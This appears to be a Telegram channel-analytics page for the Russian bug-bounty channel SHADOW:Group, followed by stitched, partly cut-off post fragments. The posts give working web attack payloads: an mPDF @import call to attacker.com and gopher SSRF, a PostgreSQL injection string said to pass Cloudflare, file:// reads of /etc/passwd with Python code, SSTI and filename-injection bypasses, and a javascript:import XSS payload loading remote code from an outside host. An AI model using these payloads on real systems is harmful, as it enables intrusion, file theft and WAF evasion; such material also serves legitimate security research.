SHADOW:Group
Чат: @shadow_chat_tg Рекламу не размещаю. Админ - @shdwpwn
Show more📈 Analytical overview of Telegram channel SHADOW:Group
Channel SHADOW:Group (@shadow_group_tg) in the Russian language segment is an active participant. Currently, the community unites 11 458 subscribers, ranking 10 892 in the Technologies & Applications category and 57 454 in the Russia region.
📊 Audience metrics and dynamics
Since its creation on невідомо, the project has demonstrated rapid growth, gathering an audience of 11 458 subscribers.
According to the latest data from 10 June, 2026, the channel demonstrates stable activity. Although there has been a change in the number of participants by -10 over the last 30 days and by -2 over the last 24 hours, overall reach remains high.
- Verification status: Not verified
- Engagement rate (ER): The average audience engagement rate is 20.28%. Within the first 24 hours after publication, content typically collects N/A% reactions from the total number of subscribers.
- Post reach: On average, each post receives 2 324 views. Within the first day, a publication typically gains 0 views.
- Reactions and interaction: The audience actively supports content: the average number of reactions per post is 14.
- Thematic interests: Content is focused on key topics such as middleware, http/1.1, bounty, api, host.
📝 Description and content policy
The author describes the resource as a platform for expressing subjective opinions:
“Чат: @shadow_chat_tg
Рекламу не размещаю.
Админ - @shdwpwn”
Thanks to the high frequency of updates (latest data received on 11 June, 2026), the channel maintains relevance and a high level of publication reach. Analytics show that the audience actively interacts with content, making it an important point of influence in the Technologies & Applications category.
id получаем ошибку, однако, если запустить intruder и подождать несколько тысяч запросов, сервер внезапно начинает отдавать нам чужие ПД.
#web #race #idor@import url(...), он делает внешний запрос, даже если HTML полностью экранирован htmlentities() и даже без <style>.
Причина проста: mPDF ищет URL-ы через регулярки по всему входу. Поэтому достаточно вставить:
@import url(https://attacker.com/test?.css)
и сервер сразу пойдёт по указанному адресу. Плюс можно использовать и нестандартные протоколы вроде gopher://, превращая это в SSRF с возможностью дергать внутренние сервисы.
Вендор же официально заявил, что это не баг, а фича, и устранять поведение не собирается - по их мнению, движок должен загружать указанные URL, а ответственность за реализацию лежит на разработчиках.
#web #ssrf #pdf$$0$$OR-0-$$0$$NOTNULLКак PostgreSQL это парсит: 1. $$0$$ - dollar-quoted строка, автоматически каститься в integer 2. OR - логический оператор 3. -0-$$0$$ - арифметическое выражение 4. NOTNULL - проверка на null (вернет true) Для этого payload нужны всего два не alphanumeric символа: $ и - (минус можно заменить на +). Может быть полезно для обхода WAF (например, Cloudflare это не блокирует) или при похожих ограничениях на символы.
file://localhost/etc/passwd
что вернёт?
Да, вернётся /etc/passwd.
В RFC 8089, верный формат протокола описан как file://<host>/<path>, в то время как все шпоры на LFR при SSRF говорят лишь о file:///<path>
Причём, в <host> возможно вписать домен. Система резолвнет его, и если тот указывает на 127.0.0.1, то вернётся содержимое файла. В противном случае получишь лишь отстук в DNS.
питон пок
from urllib.request import urlopen
content = urlopen(
"file://yoogle.com/etc/passwd", timeout=2,
).read().decode('utf-8')
print(content)
Представил сколько возможностей для обхода фильтров? И это не последний твой приступ FOMO за сегодня.
В статье The Minefield Between Syntaxes от @yeswehack, автор вскрывает проблемы разных синтаксисов и как парсеры выживают с ними.
Представим, ты нашёл SSTI, но WAF блокирует символ $
Что делать?
Неприятно, но не критично, ведь в Python / Perl возможно представить символ через \N{CHARACTER NAME}.
Пример обхода фильтра
\N{dollar sign}{7*7} == ${7*7} == 49
Уже на стену лезешь? Погоди, я с тобой ещё не закончил.
Давай дальше по загрузке файлов. Видел же в Content-Disposition есть параметр filename?
В RFC 6266 описан базовый подход с именем файла, но RFC 8187 вышибает дверь с... чего.. какие юникод байты 😱
# RFC 6266
filename="image.png"
# RFC 8187
filename*=UTF8''image%0a.png
RFC 8187 вводит новые правила для filename параметра, включая поддержку всего Unicode + способности кодировать произвольные байты через %
То есть, ты можешь закодировать перенос строки (%0a == \n) и всячески ломать как парсинг имени файла, так и куда тот запишется.
. . .
FOMO карусель закрыта.
Как восстановишь силы, пробегись по статье автора ради:
⚀ разбор CVE из-за проблем синтаксиса [^] ⚀ кейс бб, из cache poisoning в stored xss через пролом валидации parse_url в PHP [^] ⚀ кейс бб, из слепого чтения файлов через SSRF в arbitrary file read [^]Затем разнеси CTF по ресерчу
1. обход фильтров SSTI [^]
2. иной подход к протоколу file:// [^]
3. пролом parse_url в PHP [^]
#web #waf_bypassalert, document.cookie и других.
В таких случаях часто на помощь приходит функция import(), которая позволяет подгружать JS-скрипты из внешнего модуля. Более подробно c этой функцией можете ознакомиться в документации.
Для эксплуатации я использовал пэйлоад Javascript:import('//X55.is')// который через import() выполняет загрузку вредоносного JS-модуля, размещенного на сайте X55.is. Данный модуль выполняет обычный alert.
Кроме того, с его помощью можно удобно выполнить любой код, указав его через символ #. Все, что будет после #, не будет видно на сервере, что поможет обойти WAF, а модуль в import считает содержимое из document.location.hash и выполнит код.
javascript:import('//X55.is')//#alert('shdw')
#web #waf #xss
Available now! Telegram Research 2025 — the year's key insights 
